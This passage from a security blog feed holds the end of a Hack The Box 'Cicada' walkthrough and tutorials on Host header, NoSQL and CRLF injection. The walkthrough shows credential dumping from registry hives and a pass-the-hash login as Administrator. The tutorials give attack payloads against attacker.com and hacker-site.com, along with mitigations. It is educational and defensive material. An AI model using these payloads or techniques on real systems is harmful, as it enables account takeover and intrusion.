<span class="hljs-built_in">Write-Host</span> <span class="hljs-string">"Backup completed successfully. Backup file saved to: <span class="hljs-variable">$backupFilePath</span>"</span>
</code></pre>
<p><strong>Username</strong>: <code>emily.oscars</code></p>
<p><strong>Password</strong>: <code>Q!3@Lp#M6b7tVt</code></p>
<h3 id="heading-login-as-emiily">Login as Emiily</h3>
<pre><code class="lang-powershell">evil<span class="hljs-literal">-winrm</span> <span class="hljs-literal">-i</span> <span class="hljs-number">10.129</span>.<span class="hljs-number">200.210</span> <span class="hljs-literal">-u</span> emily.oscars <span class="hljs-literal">-p</span> <span class="hljs-string">'Q!3@Lp#M6b*7t*Vt'</span>

Evil<span class="hljs-literal">-WinRM</span> shell v3.<span class="hljs-number">5</span>

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">is</span> <span class="hljs-title">unimplemented</span> <span class="hljs-title">on</span> <span class="hljs-title">this</span> <span class="hljs-title">machine</span></span>

<span class="hljs-keyword">Data</span>: <span class="hljs-keyword">For</span> more information, check Evil<span class="hljs-literal">-WinRM</span> GitHub: &lt;https://github.com/Hackplayers/evil<span class="hljs-literal">-winrm</span><span class="hljs-comment">#Remote-path-completion&gt;</span>

Info: Establishing connection to remote endpoint
*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\\Users\\emily.oscars.CICADA&gt; whoami
cicada\\emily.oscars
</code></pre>
<h2 id="heading-privilege-escalation-abuse-of-sebackupprivilege">Privilege Escalation – Abuse of <code>SeBackupPrivilege</code></h2>
<p>Once we had a foothold as <code>emily.oscars</code>, we enumerated the privileges assigned to the user:</p>
<pre><code class="lang-powershell">*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\\Users\\emily.oscars.CICADA\\Desktop&gt; whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a <span class="hljs-keyword">process</span> working <span class="hljs-built_in">set</span> Enabled
</code></pre>
<p>This specific privilege escalation is based on the act of assigning a user <code>SeBackupPrivilege</code>. It was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any ACL that the Administrator has placed in the network. So, in a nutshell, this privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the SAM file or SYSTEM Registry file. From the attacker’s perspective, this can be exploited after gaining the initial foothold in the system and then moving up to an elevated shell by essentially reading the SAM files and possibly crack the passwords of the high privilege users on the system or network.</p>
<p>Reference: <a target="_blank" href="https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/">https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/</a></p>
<h3 id="heading-dumping-registry-hives">Dumping Registry Hives</h3>
<p>From the <code>evil-winrm</code> shell, we created a temporary directory and dumped the hives:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> c:\\
mkdir Temp
reg save hklm\\sam c:\\Temp\\sam
reg save hklm\\system c:\\Temp\\system
</code></pre>
<p>We then downloaded these files locally:</p>
<h3 id="heading-extracting-hashes-with-pypykatz">Extracting Hashes with <code>pypykatz</code></h3>
<pre><code class="lang-bash">pypykatz registry --sam sam.hive system.hive

WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</code></pre>
<h3 id="heading-administrator-shell-via-evil-winrm">Administrator Shell via Evil-WinRM</h3>
<p>Using the dumped NTLM hash, we successfully authenticated as Administrator:</p>
<pre><code class="lang-powershell">evil<span class="hljs-literal">-winrm</span> -<span class="hljs-literal">-i</span> cicada.htb <span class="hljs-literal">-u</span> administrator <span class="hljs-literal">-H</span> <span class="hljs-string">"2b87e7c93a3e8a0ea4a581937016f341"</span> 

Evil<span class="hljs-literal">-WinRM</span> shell v3.<span class="hljs-number">5</span>

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">is</span> <span class="hljs-title">unimplemented</span> <span class="hljs-title">on</span> <span class="hljs-title">this</span> <span class="hljs-title">machine</span></span>

<span class="hljs-keyword">Data</span>: <span class="hljs-keyword">For</span> more information, check Evil<span class="hljs-literal">-WinRM</span> GitHub: &lt;https://github.com/Hackplayers/evil<span class="hljs-literal">-winrm</span><span class="hljs-comment">#Remote-path-completion&gt;</span>

Info: Establishing connection to remote endpoint
*Evil<span class="hljs-literal">-WinRM</span>* <span class="hljs-built_in">PS</span> C:\\Users\\Administrator\\Documents&gt; whoami
cicada\\administrator
</code></pre>
<h2 id="heading-conclusion">Conclusion</h2>
<blockquote>
<p>The CICADA box was a well-crafted Active Directory challenge that required a mix of enumeration, credential harvesting, and privilege escalation techniques. We started with LDAP enumeration using default credentials, which gave us a list of domain users. After identifying a potential default password pattern, we performed <strong>credential stuffing</strong> using <code>netexec</code> and gained access as <code>michael.wrightson</code>.</p>
<p>Using <code>ldapdomaindump</code>, we discovered another user's plaintext password left in the description field — a common misconfiguration. This led us to <code>david.orelious</code>, who had access to an SMB share containing a PowerShell script. The script revealed credentials for <code>emily.oscars</code>.</p>
<p>As <code>emily.oscars</code>, we noticed the <strong>SeBackupPrivilege</strong> was enabled. By abusing this privilege, we backed up and downloaded the <strong>SAM</strong> and <strong>SYSTEM</strong> registry hives, extracted the Administrator's NTLM hash using <code>pypykatz</code>, and used <strong>pass-the-hash</strong> to log in as Administrator via <code>evil-winrm</code>.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Host Header: Small Change, Big Risk]]></title><description><![CDATA[Host Header Injection vulnerabilities can lead to password reset link hijacking, phishing, open redirects, cache poisoning, and more. In this post, we’ll focus on how insecure usage of the Host header can allow attackers to manipulate password reset ...]]></description><link>https://blog.amalpk.in/host-header-injection</link><guid isPermaLink="true">https://blog.amalpk.in/host-header-injection</guid><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Fri, 04 Jul 2025 12:29:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751631930206/aeaaa8b8-fb53-4afe-9b22-93cf9bd3e9fc.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Host Header Injection vulnerabilities can lead to password reset link hijacking, phishing, open redirects, cache poisoning, and more. In this post, we’ll focus on how insecure usage of the Host header can allow attackers to manipulate password reset links — a simple but critical attack vector that’s often overlooked.1</p>
</blockquote>
<h2 id="heading-what-are-http-headers">What are HTTP Headers?</h2>
<p>When your browser or any client communicates with a web server, it sends a <strong>request</strong>. This request isn’t just a plain line like "GET /", it also includes a set of key-value pairs known as <strong>HTTP headers</strong>.</p>
<p>These headers give the server important information such as:</p>
<ul>
<li><p>What kind of browser is making the request (<code>User-Agent</code>)</p>
</li>
<li><p>What languages the client prefers (<code>Accept-Language</code>)</p>
</li>
<li><p>What website or domain the request is targeting (<code>Host</code>)</p>
</li>
</ul>
<p>Headers play a big role in how a server processes a request.</p>
<h2 id="heading-what-is-the-host-header">What is the Host Header?</h2>
<p>The <code>Host</code> header is one of the most important headers in an HTTP request. It tells the server <strong>which domain the client is trying to reach</strong>.</p>
<h3 id="heading-example">Example:</h3>
<pre><code class="lang-http"><span class="hljs-attribute">GET / HTTP/1.1  
Host</span>: example.com
</code></pre>
<p>This is especially useful when one server hosts multiple websites (known as virtual hosting). The server uses the <code>Host</code> value to decide which website to respond with.</p>
<h2 id="heading-why-is-the-host-header-used-in-applications">Why Is the Host Header Used in Applications?</h2>
<p>Many modern web applications use the <code>Host</code> header internally for tasks such as:</p>
<ul>
<li><p>Generating absolute URLs (e.g., password reset links, confirmation links)</p>
</li>
<li><p>Redirecting users to login pages</p>
</li>
<li><p>Creating <code>canonical</code> links for SEO</p>
</li>
<li><p>Handling multi-tenant routing</p>
</li>
</ul>
<p>But here's the catch: <strong>the</strong> <code>Host</code> header is fully controlled by the client. That means an attacker can <strong>change it</strong> to anything they want.</p>
<p>If an application blindly trusts it, trouble follows.</p>
<h2 id="heading-host-header-injection-in-password-reset-links">Host Header Injection in Password Reset Links</h2>
<p>Now let's get into the actual vulnerability.</p>
<h3 id="heading-what-is-the-vulnerability">What is the Vulnerability?</h3>
<p>When you click “Forgot password” on most websites, the backend generates a <strong>password reset link</strong> and sends it to your email. The link usually looks like:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://example.com/reset-password?token=XYZ123</span>
</code></pre>
<p>Some applications dynamically create this link using the value from the <code>Host</code> header:</p>
<pre><code class="lang-http"><span class="hljs-attribute">reset_url = "https://" + request.headers['Host'] + "/reset-password?token=" + token</span>
</code></pre>
<p>If the <code>Host</code> header is not properly validated, an attacker can <strong>inject a fake domain</strong>. The application will generate a link pointing to a malicious website, and email it to the victim.</p>
<h2 id="heading-how-is-it-exploited">How Is It Exploited?</h2>
<p>Let’s break down how an attacker can use Host Header Injection to hijack a password reset link.</p>
<h3 id="heading-step-1-attacker-knows-the-victims-email-address">Step 1: Attacker knows the victim’s email address</h3>
<p>The attacker starts with something simple — they know the email address of the target. This could be from a previous leak, a guess, or just publicly available information.</p>
<h3 id="heading-step-2-attacker-visits-the-forgot-password-page">Step 2: Attacker visits the “Forgot Password” page</h3>
<p>They go to the target website’s password reset page and enter the victim’s email to request a reset link.</p>
<h3 id="heading-step-3-attacker-modifies-the-host-header">Step 3: Attacker modifies the Host header</h3>
<p>Before the request is sent to the server, the attacker changes the <code>Host</code> header from the real domain to a domain they control, like this:</p>
<pre><code class="lang-http"><span class="hljs-attribute">Host</span>: attacker.com
</code></pre>
<h3 id="heading-step-4-server-uses-the-fake-host-value-to-build-the-reset-link">Step 4: Server uses the fake Host value to build the reset link</h3>
<p>If the server uses the <code>Host</code> header directly when creating the password reset link, it might generate a link like:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://attacker.com/reset-password?token=XYZ123</span>
</code></pre>
<h3 id="heading-step-5-victim-receives-a-password-reset-email">Step 5: Victim receives a password reset email</h3>
<p>The website sends an email to the victim with the reset link — but now that link points to <a target="_blank" href="http://attacker.com"><code>attacker.com</code></a>, not the real website.</p>
<h3 id="heading-step-6-victim-clicks-the-link">Step 6: Victim clicks the link</h3>
<p>Because the email looks legitimate, the victim clicks the link without noticing the wrong domain.</p>
<h3 id="heading-step-7-attacker-gets-the-reset-token">Step 7: Attacker gets the reset token</h3>
<p>Since the attacker controls <a target="_blank" href="http://attacker.com"><code>attacker.com</code></a>, they can see the incoming request and steal the token.</p>
<h3 id="heading-step-8-attacker-resets-the-victims-password">Step 8: Attacker resets the victim’s password</h3>
<p>The attacker takes the stolen token and uses it on the real site to reset the victim’s password — gaining full access to their account.</p>
<h2 id="heading-real-world-example-poc">Real-World Example (POC)</h2>
<p>Let’s say the application code looks like this (Python/Flask):</p>
<pre><code class="lang-python"><span class="hljs-meta">@app.route('/forgot-password', methods=['POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">forgot_password</span>():</span>
    email = request.form[<span class="hljs-string">'email'</span>]
    token = generate_reset_token(email)
    reset_link = <span class="hljs-string">f"https://<span class="hljs-subst">{request.headers[<span class="hljs-string">'Host'</span>]}</span>/reset-password?token=<span class="hljs-subst">{token}</span>"</span>
    send_email(email, <span class="hljs-string">f"Click to reset your password: <span class="hljs-subst">{reset_link}</span>"</span>)
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Email sent"</span>
</code></pre>
<p>The attacker sends a request like:</p>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/forgot-password</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: attacker.com
<span class="hljs-attribute">Content-Type</span>: application/x-www-form-urlencoded

<span class="ini"><span class="hljs-attr">email</span>=victim@example.com</span>
</code></pre>
<p>The victim receives:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://attacker.com/reset-password?token=abcd1234</span>
</code></pre>
<p>Boom. Token leaked.</p>
<h2 id="heading-how-to-mitigate-host-header-injection">How to Mitigate Host Header Injection</h2>
<h3 id="heading-1-dont-trust-the-host-header">1. <strong>Don’t trust the Host header</strong></h3>
<p>Instead of building URLs dynamically using <code>request.headers['Host']</code>, always use a <strong>hardcoded and known safe domain</strong>:</p>
<pre><code class="lang-python">reset_link = <span class="hljs-string">f"https://example.com/reset-password?token=<span class="hljs-subst">{token}</span>"</span>
</code></pre>
<h3 id="heading-2-whitelist-valid-hostnames">2. <strong>Whitelist Valid Hostnames</strong></h3>
<p>If your app supports multiple domains, validate the Host header against a list:</p>
<pre><code class="lang-python">host = request.headers[<span class="hljs-string">'Host'</span>]
<span class="hljs-keyword">if</span> host <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> [<span class="hljs-string">'example.com'</span>, <span class="hljs-string">'www.example.com'</span>]:
    abort(<span class="hljs-number">400</span>)
</code></pre>
<h3 id="heading-3-configure-proxycdn-properly">3. <strong>Configure Proxy/CDN properly</strong></h3>
<p>Reverse proxies and load balancers should not pass unvalidated Host headers to the backend.</p>
<h3 id="heading-4-enable-logging">4. <strong>Enable logging</strong></h3>
<p>Log unusual Host headers for auditing. This helps detect probing or abuse attempts.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Host Header Injection is often labeled as low severity, but in certain contexts - like password reset flows - it can lead to full account compromise.</p>
<p>Always remember: <strong>never trust user input</strong>, and yes, the Host header counts as user input.</p>
<p>Even though it’s a small header, it can have a big impact.</p>
<h2 id="heading-references-and-real-reports">References and Real Reports</h2>
<ul>
<li><p><a target="_blank" href="https://hackerone.com/reports/226659">HackerOne Report #226659– Password Reset link hijacking via Host Header Poisoning</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/host-header">PortSwigger Web Security Academy – Host header attacks</a></p>
</li>
<li><p><a target="_blank" href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection">OWASP Host Header Injection Guide</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[NoSQL injection]]></title><description><![CDATA[What is NoSQL databases?
NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They are designed to handle large volumes of unstructured or semi-structured data. As such they typically have fewer relational...]]></description><link>https://blog.amalpk.in/nosql-injection</link><guid isPermaLink="true">https://blog.amalpk.in/nosql-injection</guid><category><![CDATA[hacking]]></category><category><![CDATA[SQL]]></category><category><![CDATA[injection attacks]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Thu, 01 May 2025 15:05:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745954319006/8c734c4b-63b1-4eee-9f68-12f10a796cd9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-nosql-databases">What is NoSQL databases?</h2>
<p>NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They are designed to handle large volumes of unstructured or semi-structured data. As such they typically have fewer relational constraints and consistency checks than SQL, and claim significant benefits in terms of scalability, flexibility, and performance.</p>
<p>Like SQL databases, users interact with data in NoSQL databases using queries that are passed by the application to the database. However, different NoSQL databases use a wide range of query languages instead of a universal standard like SQL (Structured Query Language). This may be a custom query language or a common language like XML or JSON.</p>
<h4 id="heading-a-few-examples-of-nosql-databases-include">A few examples of NoSQL databases include:</h4>
<ol>
<li><p>MongoDB, a popular open-source NoSQL database supported</p>
</li>
<li><p>Redis, an in-memory key-value store often used for caching data</p>
</li>
<li><p>Elasticsearch, a commonly used NoSQL database for at-scale and complex search operations</p>
</li>
<li><p>Apache CouchDB, a popular open-source NoSQL database with native REST HTTP API support</p>
</li>
<li><p>Cloudflare KV or Amazon DynamoDB, both well-known serverless key-value storage options</p>
</li>
</ol>
<h3 id="heading-summary">Summary</h3>
<p><strong>NoSQL injection</strong> is a vulnerability where an attacker is able to interfere with the queries that an application makes to a NoSQL database. NoSQL injection may enable an attacker to:</p>
<ul>
<li><p>Bypass authentication or protection mechanisms.</p>
</li>
<li><p>Extract or edit data.</p>
</li>
<li><p>Cause a denial of service.</p>
</li>
<li><p>Execute code on the server.</p>
</li>
</ul>
<p>NoSQL databases store and retrieve data in a format other than traditional SQL relational tables. They use a wide range of query languages instead of a universal standard like SQL, and have fewer relational constraints.</p>
<h3 id="heading-how-nosql-injection-differs-from-traditional-sql-injection">How NoSQL Injection Differs from Traditional SQL Injection</h3>
<p>Both <strong>SQL Injection (SQLi)</strong> and <strong>NoSQL Injection (NoSQLi)</strong> are techniques used by attackers to bypass security checks, usually to log in without valid credentials or access unauthorized data. However, they differ in how the backend processes their input.</p>
<h4 id="heading-traditional-sql-injection">Traditional SQL Injection</h4>
<p>SQLi targets relational databases like <strong>MySQL</strong>, <strong>PostgreSQL</strong>, or <strong>SQL Server</strong> that use SQL (Structured Query Language).</p>
<p>Imagine a website login form where the backend builds this SQL query:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username = <span class="hljs-string">'alice'</span> <span class="hljs-keyword">AND</span> <span class="hljs-keyword">password</span> = <span class="hljs-string">'password123'</span>;
</code></pre>
<p>If the input is not sanitized, an attacker can input the following into the <strong>username field</strong>:</p>
<pre><code class="lang-plaintext">alice' OR 1=1 --
</code></pre>
<p>This transforms the SQL query into:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username = <span class="hljs-string">'alice'</span> <span class="hljs-keyword">OR</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span> <span class="hljs-comment">-- ' AND password = 'password123';</span>
</code></pre>
<p>Since <code>OR 1=1</code> always returns true, and <code>--</code> comments out the rest, the attacker gains access without needing the correct password.</p>
<h4 id="heading-nosql-injection">NoSQL Injection</h4>
<p>NoSQLi targets databases like <strong>MongoDB</strong>, which use a different format—usually JSON—for querying data.</p>
<p>A typical MongoDB login check might look like this:</p>
<pre><code class="lang-js">db.users.findOne({ <span class="hljs-attr">username</span>: <span class="hljs-string">"alice"</span>, <span class="hljs-attr">password</span>: <span class="hljs-string">"password123"</span> })
</code></pre>
<p>If the server accepts raw JSON and doesn’t validate the input, an attacker could send this:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"username"</span>: <span class="hljs-string">"alice"</span>,
  <span class="hljs-attr">"password"</span>: { <span class="hljs-attr">"$or"</span>: [ {}, { <span class="hljs-attr">"$ne"</span>: <span class="hljs-literal">null</span> } ] }
}
</code></pre>
<p>This uses the <code>$or</code> and <code>$ne</code> (not equal) operators to trick the database into accepting almost any password, because one part of the condition will always be true.</p>
<h3 id="heading-identifying-nosql-injection-vulnerabilities">Identifying NoSQL Injection Vulnerabilities</h3>
<p>To spot NoSQL injection vulnerabilities, you need to test input fields and see how the database reacts to unexpected input. Here’s how to do it:</p>
<p><strong>Test Input Fields</strong>: Look for places where users can input data, such as forms, URL parameters, and API requests.</p>
<p><strong>Inject Special Characters</strong>: Try adding special characters that could break the query or trigger the database to behave differently. Common ones include:</p>
<pre><code class="lang-sql">$, {, }, \, ", ', ;, and %00 (null byte)
</code></pre>
<p><strong>Observe Changes</strong>: Watch for changes in the server’s response, such as:</p>
<ul>
<li><p>Content length changing.</p>
</li>
<li><p>Unexpected status codes (like 500 errors).</p>
</li>
<li><p>Strange response headers.</p>
</li>
</ul>
<blockquote>
<p>Since NoSQL databases like MongoDB or Firebase have different query languages, make sure you understand the syntax of the specific database you're working with.</p>
</blockquote>
<h3 id="heading-types-of-nosql-injection">Types of NoSQL injection</h3>
<p>There are two different types of NoSQL injection:</p>
<ul>
<li><p><strong>Syntax injection</strong> - This occurs when you can break the NoSQL query syntax, enabling you to inject your own payload. The methodology is similar to that used in SQL injection. However the nature of the attack varies significantly, as NoSQL databases use a range of query languages, types of query syntax, and different data structures.</p>
</li>
<li><p><strong>Operator injection</strong> - This occurs when you can use NoSQL query operators to manipulate queries.</p>
</li>
</ul>
<h3 id="heading-conclusion">Conclusion</h3>
<p>NoSQL injection is a critical vulnerability that can give attackers access to sensitive data or even allow them to execute malicious commands on your server. Unlike traditional SQL injection, which exploits the structure of SQL queries, NoSQL injection takes advantage of the unique query systems used by NoSQL databases. With applications increasingly relying on NoSQL databases like MongoDB, Redis, and others, understanding how NoSQL injection works and how to secure against it is more important than ever.</p>
<p>In the next part of this blog, we’ll break down the different types of NoSQL injection attacks in detail. We'll discuss how syntax injection and operator injection work, provide clear examples of each, and give you actionable tips for securing your NoSQL databases.</p>
<p>Stay tuned for more practical advice on preventing NoSQL injection!</p>
]]></content:encoded></item><item><title><![CDATA[CRLF Injection: A Critical Web Application Vulnerability]]></title><description><![CDATA[CRLF (Carriage Return Line Feed) injection is a type of attack that targets web applications through the manipulation of HTTP headers. The term “CRLF” refers to the characters used to mark the end of a line in HTTP requests and responses. These chara...]]></description><link>https://blog.amalpk.in/understanding-crlf-injection-and-its-exploitation-b8271d14452a</link><guid isPermaLink="true">https://blog.amalpk.in/understanding-crlf-injection-and-its-exploitation-b8271d14452a</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[injection]]></category><category><![CDATA[injection attacks]]></category><category><![CDATA[hacking]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Tue, 11 Feb 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019447030/b987a94b-ca52-4d69-8743-c1fda02d5898.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>CRLF (Carriage Return Line Feed) injection is a type of attack that targets web applications through the manipulation of HTTP headers. The term “CRLF” refers to the characters used to mark the end of a line in HTTP requests and responses. These characters (<code>\r\n</code>) are critical in marking boundaries between headers and their values, and when abused, they allow attackers to inject malicious content or manipulate server behavior.</p>
<p>In this blog post, we’ll dive into what CRLF injection is, where it’s commonly found, and how attackers can exploit it to cause significant damage, such as redirecting users to malicious sites, sending unauthorized emails, logging false entries, and executing cross-site scripting (XSS) attacks.</p>
<h3 id="heading-what-is-crlf-injection">What is CRLF Injection?</h3>
<p>CRLF injection occurs when an attacker injects CRLF characters into user-controllable input, which is then included in HTTP headers or server-side outputs. This exploitation happens due to improper input validation or poor sanitization of input data. Attackers can use CRLF injection to manipulate headers, redirect users to malicious websites, send unauthorized emails, or execute malicious scripts.</p>
<h3 id="heading-common-places-for-crlf-injection-exploitation">Common Places for CRLF Injection Exploitation</h3>
<h3 id="heading-exploiting-automatic-directory-completion">Exploiting Automatic Directory Completion</h3>
<p>A common vulnerability occurs when a website’s directory completion feature automatically appends a slash to URLs. For instance, a website might redirect you to a directory with a trailing slash when you access it without one:</p>
<pre><code class="lang-xml">GET /helloworld <span class="hljs-tag">&lt;<span class="hljs-name">--</span> <span class="hljs-attr">no</span> <span class="hljs-attr">slash</span> <span class="hljs-attr">HTTP</span>/<span class="hljs-attr">1.1</span> <span class="hljs-attr">Host:</span> <span class="hljs-attr">site.com</span> <span class="hljs-attr">Accept:</span> <span class="hljs-attr">application</span>/<span class="hljs-attr">json</span></span>
</code></pre>
<p>The server responds by redirecting you to the following URL:</p>
<pre><code class="lang-xml">HTTP/1.1 301 Moved Permanently Location: /hello-world/ <span class="hljs-tag">&lt;<span class="hljs-name">--</span> <span class="hljs-attr">slash</span></span>
</code></pre>
<p>Now, an attacker can inject CRLF characters to manipulate the redirection, resulting in the following request:</p>
<pre><code class="lang-xml">GET /helloworld%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1 Host: site.com Accept: application/json
</code></pre>
<p>This response contains two <code>Location</code> headers:</p>
<pre><code class="lang-xml">HTTP/1.1 302 Found Location: /hello-world Location: https://hacker-site.com/
</code></pre>
<p>Anyone clicking the manipulated URL will be redirected to a malicious website instead of the intended <code>/hello-world</code> page.</p>
<h3 id="heading-exploiting-redirections">Exploiting Redirections</h3>
<p>CRLF injection can also be used in redirection functionality. For example, an API may redirect users to a provided URL:</p>
<pre><code class="lang-xml">GET /api/redirect?url=https%3A%2F%2Fsite.com%2Fhello-world HTTP/1.1 Host: site.com Accept: application/json
</code></pre>
<p>The server responds with:</p>
<pre><code class="lang-xml">HTTP/1.1 302 Found Location: https://site.com/hello-world
</code></pre>
<p>By injecting CRLF characters into the URL parameter, the attacker can alter the redirection:</p>
<pre><code class="lang-xml">GET /api/redirect?url=%2Fhello-world%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1 Host: site.com Accept: application/json
</code></pre>
<p>The response will now look like this:</p>
<pre><code class="lang-xml">HTTP/1.1 302 Found Location: /hello-world Location: https://hacker-site.com/
</code></pre>
<p>This results in users being redirected to the attacker’s website instead of the legitimate one.</p>
<h3 id="heading-email-injection">Email Injection</h3>
<p>One of the more dangerous attack vectors for CRLF injection is email systems. If user input is incorporated into email headers without proper validation, an attacker can inject arbitrary headers, potentially sending emails to unintended recipients or modifying the behavior of the email server.</p>
<p>Consider a vulnerable PHP script that sends a feedback email:</p>
<p>If the name input is not sanitized properly, an attacker can inject CRLF characters to create custom email headers, such as the Bcc header to send the email to multiple recipients:</p>
<pre><code class="lang-xml">POST /feedback.php HTTP/1.1
Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

name=peter%0d%0aBcc%3A%20notaniceguy%40company.com&amp;replyTo=peter%40serious.bznes&amp;message=You're%20not%20a%20nice%20guy%20%3A(
</code></pre>
<p>This results in the email headers being:</p>
<pre><code class="lang-xml">From: peter
Bcc: notaniceguy@company.com
Reply-To: peter@serious.bznes
</code></pre>
<p>As a result, the email is sent not only to the intended recipient but also to the attacker’s specified recipient.</p>
<h3 id="heading-log-injection">Log Injection</h3>
<p>CRLF injection can be exploited in logging systems to inject custom log entries, which can mislead administrators or fill logs with irrelevant information. For example, if a system logs user login attempts:</p>
<pre><code class="lang-xml">1708853728374:peter:False
1708853743574:peter:True
</code></pre>
<p>An attacker can inject a malicious entry:</p>
<pre><code class="lang-xml">peter:False%0d%0a1708853860227:admin:True
</code></pre>
<p>The resulting log file would look like this:</p>
<pre><code class="lang-xml">1708853728374:peter:False
1708853743574:peter:True
_________________________
1708853860227:admin:True <span class="hljs-tag">&lt;<span class="hljs-name">--</span> <span class="hljs-attr">Fake</span> <span class="hljs-attr">log</span> <span class="hljs-attr">entry</span>!</span>
</code></pre>
<p>This could potentially trick the administrator into believing that the attacker successfully logged in as the admin user at a specific time.</p>
<h3 id="heading-reflected-xss">Reflected XSS</h3>
<p>Another potential exploitation of CRLF injection occurs when user input is reflected in cookies or HTTP headers. For example, if a website stores the lang parameter in a <code>cookie</code>:</p>
<pre><code class="lang-xml">GET /language?lang=en-US HTTP/1.1
Host: site.com
Accept: text/html
</code></pre>
<p>The response might include:</p>
<pre><code class="lang-xml">HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
</code></pre>
<p>An attacker can inject malicious JavaScript using CRLF to break the cookie and inject an arbitrary Content-Type header:</p>
<pre><code class="lang-xml">GET /language?lang=en-US%3B%3C%0d%0a%3EContent-Type%3A%20text%2Fhtml%3C%0d%0a%3EContent-Length%3A25%3C%0d%0a%0d%0a%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: site.com
Accept: text/html
</code></pre>
<p>The response would now include the injected payload:</p>
<pre><code class="lang-xml">HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
Content-Type: text/html
Content-Length: 25

;
</code></pre>
<p>This results in a reflected XSS vulnerability, executing the injected script in the user’s browser.</p>
<h3 id="heading-how-to-protect-against-crlf-injection">How to Protect Against CRLF Injection</h3>
<p>To mitigate CRLF injection vulnerabilities, web applications must adopt secure coding practices:</p>
<ol>
<li><p>Sanitize User Input: Ensure that user-controlled data does not contain CRLF characters before using it in HTTP headers or logs. Reject or encode CRLF sequences if detected.</p>
</li>
<li><p>Use Prepared Statements: For scenarios like email injection or SQL queries, always use prepared statements or parameterized queries to avoid injection risks.</p>
</li>
<li><p>Set Proper Content Security Policies: For XSS protection, implement content security policies (CSP) that prevent the execution of malicious scripts.</p>
</li>
<li><p>Log Sanitization: Ensure that all logs are sanitized before writing them to files or databases. This helps avoid the manipulation of logs by attackers.</p>
</li>
</ol>
<h3 id="heading-conclusion">Conclusion</h3>
